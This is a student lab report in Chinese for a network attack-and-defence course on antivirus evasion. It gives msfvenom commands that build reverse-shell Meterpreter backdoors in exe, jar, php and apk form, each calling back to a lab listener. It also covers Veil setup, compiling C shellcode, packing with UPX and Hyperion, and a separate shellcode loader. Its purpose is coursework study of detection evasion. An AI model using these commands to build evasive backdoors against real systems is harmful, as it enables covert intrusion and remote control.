2019-2020-2 20175308杨元 《网络对抗技术》Exp3 免杀原理与实践
1.基础问题回答
1.杀软是如何检测出恶意代码的?
杀毒软件一般通过一下几种方式检测恶意代码:
- 基于特征码的检测:通过检测一个可执行文件是否包含一段或多段符合特征的数据来判断是否是恶意代码
- 启发式恶意软件检测:简单来说就是根据些片面的特征去推断。如果一个软件在干的通常是恶意软件干的事,看起来像了某个恶意软件,就将它当做是恶意软件
- 基于行为的恶意检测:理论上讲,相当于是启发式的一种,或者说是加入了行为监控的启发式。
2.免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
3.免杀的基本方法有哪些?
1.改变特征码:
- 如果手里只有exe
- 加壳:压缩壳、加密壳
- 有shellcode(如Meterpreter):
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码:
- 用其他语言进行重新编写
2.改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
3.非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码即成道MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
实验步骤
前言:因为截图过大,贴进博客里很不美观,因此简单调了下分辨率,结果有点糊。。。
这里贴个图证明下图片来源
1.正确使用msf编码器,生成exe文件
实验二中已经生成了后门程序,我们现在可以直接在VirusTotal和Virscan这两个网站对生成的后门程序进行扫描(注意⚠️:Virscan扫描的文件名不能包含数字,因此要提前修改)。
从扫描结果可以看出,我们不加任何处理的后门程序大多数杀软都可以检测得到,因此我们用msf编码器对后门程序进行一次到多次的编码,查看编码后的检测效果。
(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.242.133 LPORT=5308 -f exe > met-encoded.exe
进行一次编码。
-e
选择编码器-b
payload中需要去掉的字符,因为shellcode以'\x00'为结束符,所以用此命令使'\x00'不出现在shellcode中
(2)使用-i
设置迭代次数,进行十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.242.133 LPORT=5308 -f exe > met-encoded10.exe
由这个检测结果可见即使进行了十次编码,对于抵抗杀软检测依然没有起到什么积极的作用,原因有以下几点:
- shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。
- msfvenom生成exe是有固定模版的,所有它生成的exe如果使用默认的参数或者模版也会具有固定的特征。所以一般来说AV厂商会针对其使用的模版来生成这个特征码,这样就可以一劳永逸地解决所有msfvenom生成的恶意代码。
2.msfvenom生成jar文件
- 使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 x> yy_backdoor_java.jar
生成java后门程序 - 扫描结果如下:
3.生成php后门文件
- 使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 x> 20175308_php_backdoor.php
- 扫描结果如下:
可以看到检出率为3/59,已经处于一个较低的水平
4.生成Android后门apk文件
-
使用命令
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 x> 20175308_android_backdoor.apk
可以生成apk后门文件
5.veil
5.1安装
这部分的小问题很多,一开始走了许多弯路,参考了许多教程都不适用于我的虚拟机,过程过于心酸,不再描述。这里写出最后成功下载的方法。
这里我使用的是中科大的源。
首先进行一下操作安装软件:
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update
安装veil:sudo apt-get install veil-evasion
在这个安装过程中还会出现满屏红色字体,看起来像是提示错误,但实测安装结束后是不会出现问题的。
5.2 生成后门程序
-
输入
use 1
进入veil-evasion -
输入
list
列出所有可生成的后门程序 -
这里我尝试使用
powershell
的后门,即输入命令use powershell/meterpreter/rev_tcp.py
-
输入
set LHOST 192.168.242.133
设置反弹连接IP(即kali的ip) -
输入
set LPORT 5308
设置端口为5308
6.使用C+shellcode
-
首先使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.133 LPORT=5308 -f c
生成一段shellcode -
使用命令
i686-w64-mingw32-g++ 20175308.c -o 20175308.exe
将c程序编译为可执行文件
7.加壳工具
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
从技术上壳分为:
- 压缩壳:减少应用体积,如ASPack,UPX
- 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida。
7.1压缩壳UPX
7.2加密壳Hyperion
-
将上一个生成的文件拷贝至
/usr/share/windows-binaries/hyperion
,并进入该目录 -
输入命令
wine hyperion.exe -v upxed_20175308.exe upxed_20175308_hyperion.exe
8.使用其他课堂未介绍的方法
经过漫长时间的资料搜集,我找到了一种分离免杀的方式,即将shellcode和加载器分离。但由于相关网络政策,加载器的写法被屏蔽了,但是通过参考其他同学的博客,找到了一个现成的加载器
shellcode_launcher
-
用msf生成shellcode,命令使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.242.133 LPORT=5308 -f raw > 5308.raw
。这个是杀软杀不出来的。
-
win7中用shellcode_launcher启动raw文件
9.通过组合应用各种技术实现恶意代码免杀
通过使用半手工shellcode结合加密壳、压缩壳实现免杀。
与杀软共生截图如下:
10.用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验总结与体会
可以说,这是一个有趣但细想想蛮可怕的实验。实验二的时候开始做后门的时候尚且还要躲开杀软的存在,实验三的时候就直接要做和杀软正面对线的后门了,并且如果电脑使用的杀软检测能力不是很强的话甚至我做的粗制滥造的后门也可以回连成功。虽然现在完成的后门还有诸多限制条件,但是一样一样学习解决后能够达到什么样的效果呢?有点小期待。
开启杀软能绝对防止电脑中恶意代码吗?
答案肯定是不能。在virustotal上检测我们看到一个后门拿过去检测率有可能只达到10/59,而且在检查不出来的名单里不乏我们经常使用的杀软。因此即使有杀软,也很有可能在面对精心设计手法高明的后门程序时无能为力。